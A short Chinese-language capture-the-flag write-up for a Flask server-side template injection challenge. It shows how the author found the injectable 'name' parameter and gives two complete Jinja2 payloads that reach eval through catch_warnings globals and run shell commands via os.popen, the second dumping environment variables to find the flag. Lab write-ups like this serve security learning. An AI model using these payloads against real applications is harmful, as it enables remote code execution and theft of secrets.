[Flask]SSTI 1
根据题目判断这是一道SSTI参数处理不当的漏洞,打开页面显示Hello guest,猜测参数名为user
发现页面无任何变化,于是尝试name,成功回显
尝试{{2*2}},页面显示4,存在SSTI注入
构造payload,成功执行任意代码
# payload的解释:获取eval函数并执行任意代码
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("任意代码执行的地方").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
查看根目录(ls /),未发现flag文件,便猜测在env环境里面,成功找到flag
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
标签:__,.__,name,Flask,__.__,SSTI,endif,class
From: https://www.cnblogs.com/tazmi/p/18537451